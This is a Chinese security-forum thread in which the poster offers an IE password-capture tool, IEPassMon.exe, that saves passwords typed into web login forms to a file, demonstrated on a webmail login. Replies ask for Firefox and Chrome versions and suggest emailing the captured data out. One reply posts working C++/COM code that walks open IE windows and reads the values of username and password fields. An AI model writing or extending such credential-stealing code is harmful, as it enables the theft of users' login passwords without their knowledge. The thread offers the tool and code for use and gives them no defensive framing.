首页
社区
课程
招聘
[原创]IE浏览器表单密码输入监控实现
发表于: 2012-12-13 14:37 10987

[原创]IE浏览器表单密码输入监控实现

2012-12-13 14:37
10987
经常上网的我们每天都会在网站上输入各种登录密码,这些密码都可以在程序中截获到的,如果你用的是IE内核的浏览器,很有可能就已经被照顾了。

实现了一个小工具,采用类似BHO的方式来监控IE中各控件的变动情况,当发现有密码框输入时就会截取下来并保存到文件中。

以图为例:

开启IEPassMon.exe后打开mail.163.com,输入用户名和密码尝试登录,查看截取到的密码文件内容如下:


程序本身不带毒的,但杀软可能会误报,勿用于非法用途!

[课程]Linux pwn 探索篇!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (16)
雪    币: 33
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
支持哦,不一样的技术。我之前做过一个全局的键盘钩子,不过数据要采集者自己分析。
没有专门针对某程序,不过可以加特定的代码让它只针对特定进程实现,另外,可以吧采集结果发到指定邮箱也是必要功能。
避免广告嫌疑,用“Rattail老鼠尾巴”在google搜索就能看到喽。
2012-12-13 14:47
0
雪    币: 111
活跃值: (113)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
3
顶一个~~~
2012-12-13 16:00
0
雪    币: 235
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
WM_HTML_GETOBJECT
2012-12-13 16:13
0
雪    币: 4
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
如果不是IE的话,比如说360 火狐 能不能记录?
2012-12-13 17:46
0
雪    币: 284
活跃值: (34)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
这个也要标记一下。
2012-12-13 18:41
0
雪    币: 388
活跃值: (147)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
7
只能记IE内核的
2012-12-13 22:11
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
ding
2013-6-14 18:17
0
雪    币: 541
活跃值: (654)
能力值: ( LV12,RANK:250 )
在线值:
发帖
回帖
粉丝
9
希望楼主爆个火狐或chrome的
2013-6-14 21:36
0
雪    币: 14
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
很强大  标记以下
2013-6-15 02:04
0
雪    币: 66
活跃值: (49)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
11
期待楼主出火狐、chrome的
2013-6-17 23:17
0
雪    币: 0
活跃值: (954)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
12
VARIANT id, index;
        CComPtr<IDispatch> spDispatch;
        CComQIPtr<IHTMLDocument2, &IID_IHTMLDocument2> pDoc2;
        CComPtr<IHTMLElement> pElement;
        CComPtr<IHTMLElementCollection> pElementCol;
        CComPtr<IHTMLFormElement> pFormElement;
        CComPtr<IHTMLInputTextElement> pInputElement;
        // TODO: Add your control notification handler code here
        int n = m_ctrlIE.GetItemCount();//GetCount();
       
        for (int i = 0; i < n; i ++){
                IWebBrowser2 *pBrowser = (IWebBrowser2 *)m_ctrlIE.GetItemData(i);
                if (pBrowser){
                        pBrowser->Release();
                }
        }
       
        m_ctrlIE.DeleteAllItems();
       
        if (m_spSHWinds){
                int n = m_spSHWinds->GetCount();
                for (int i = 0; i < n; i++){
                        _variant_t v = (long)i;
                        IDispatchPtr spDisp = m_spSHWinds->Item(v);
                       
                       
                        SHDocVw::IWebBrowser2Ptr spBrowser(spDisp);                           if (spBrowser){
                               
                if (SUCCEEDED(spBrowser->get_Document( &spDispatch)))
                                        pDoc2 = spDispatch;
                                if(pDoc2!=NULL)
                                {
                                        {
                                                if (SUCCEEDED(pDoc2->get_forms(&pElementCol)))
                                                {
                                                        //        AfxMessageBox("IHTMLElementCollection");
                                                        long p=0;
                                                        if(SUCCEEDED(pElementCol->get_length(&p)))
                                                        if(p!=0)
                                                        {   
                                                                // AfxMessageBox("1");
                                                                for(long i=0;i<=(p-1);i++)
                                                                {
                                                                       
                                                                        V_VT(&id) = VT_I4;
                                                                        V_I4(&id) = i;
                                                                        V_VT(&index) = VT_I4;
                                                                        V_I4(&index) = 0;
                                                                       
                                                                        if(SUCCEEDED(pElementCol->item(id,index, &spDispatch)))
                                                                                // AfxMessageBox("2");
                                                                                if(SUCCEEDED(spDispatch->QueryInterface(IID_IHTMLFormElement,(void**)&pFormElement)))
                                                                                {
                                                                                        // AfxMessageBox("IHTMLFormElement");
                                                                                        long q=0;
                                                                                        if(SUCCEEDED(pFormElement->get_length(&q)))
                                                                                        for(long j=0;j<=(q-1);j++)
                                                                                        {
                                                                                                V_VT(&id) = VT_I4;
                                                                                                V_I4(&id) = j;
                                                                                                V_VT(&index) = VT_I4;
                                                                                                V_I4(&index) = 0;
                                                                                                if(SUCCEEDED(pFormElement->item(id,index, &spDispatch)))
                                                                                                       
                                                                                                        if(SUCCEEDED(spDispatch->QueryInterface(IID_IHTMLInputTextElement,(void**)&pInputElement)))
                                                                                                        {
                                                                                                                //AfxMessageBox("IHTMLInputTextElement");
                                                                                                                CComBSTR value;
                                                                                                                CComBSTR type;
                                                                                                               
                                                                                                                pInputElement->get_type(&type);
                                                                                                               
                                                                                                                CString strtype(type);
                                                                                                                strtype.MakeUpper();
                                                                                                                if(strtype.Find("TEXT")!=-1)
                                                                                                                {
                                                                                                                        pInputElement->get_value(&value);
                                                                                                                        CString str(value);
                                                                                                                        if(!str.IsEmpty())
                                                                                                                        m_ctrlIE.InsertItem(0, _bstr_t(value)+_bstr_t("  【USER】"));
                                                                                                               
                                                                                                                }
                                                                                                            else if(strtype.Find("PASSWORD")!=-1)
                                                                                                                {
                                                                                                                        pInputElement->get_value(&value);
                                                                                                                        CString str(value);
                                                                                                                        if(!str.IsEmpty())
                                                                            m_ctrlIE.InsertItem(0, _bstr_t(value) + _bstr_t("  【****】"));
                                                                                                                }
                                                                                                        }
                                                                                        }
                                                                                }
                                                                }
                                                        }
                                                }
                                               
                                        }
                                       
                                }
                        //        _bstr_t bsName = spBrowser->GetLocationName();   //窗口名称
                        //        int nPos = m_ctrlIE.InsertItem(0, bsName);
                        //        spBrowser->AddRef();
                        //        void * pData = spBrowser;
                        //        m_ctrlIE.SetItemData(nPos, (DWORD)(pData));
                        }
                }
        }
2013-6-18 08:49
0
雪    币: 81
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
支持一下  mark
2013-6-18 09:13
0
雪    币: 29
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
用了BHO,这个功能自然不在话下。
2013-8-8 16:04
0
雪    币: 808
活跃值: (10)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
15
以前写过一个带驱动的,啥都能记录的,只在xp下能用。
2013-8-9 08:11
0
雪    币: 28
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
好强大的样子,mark一下
2013-8-9 08:26
0
雪    币: 43
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
如果能开源就更好了,技术交流嘛
2013-8-9 10:01
0
游客
登录 | 注册 方可回帖
返回
//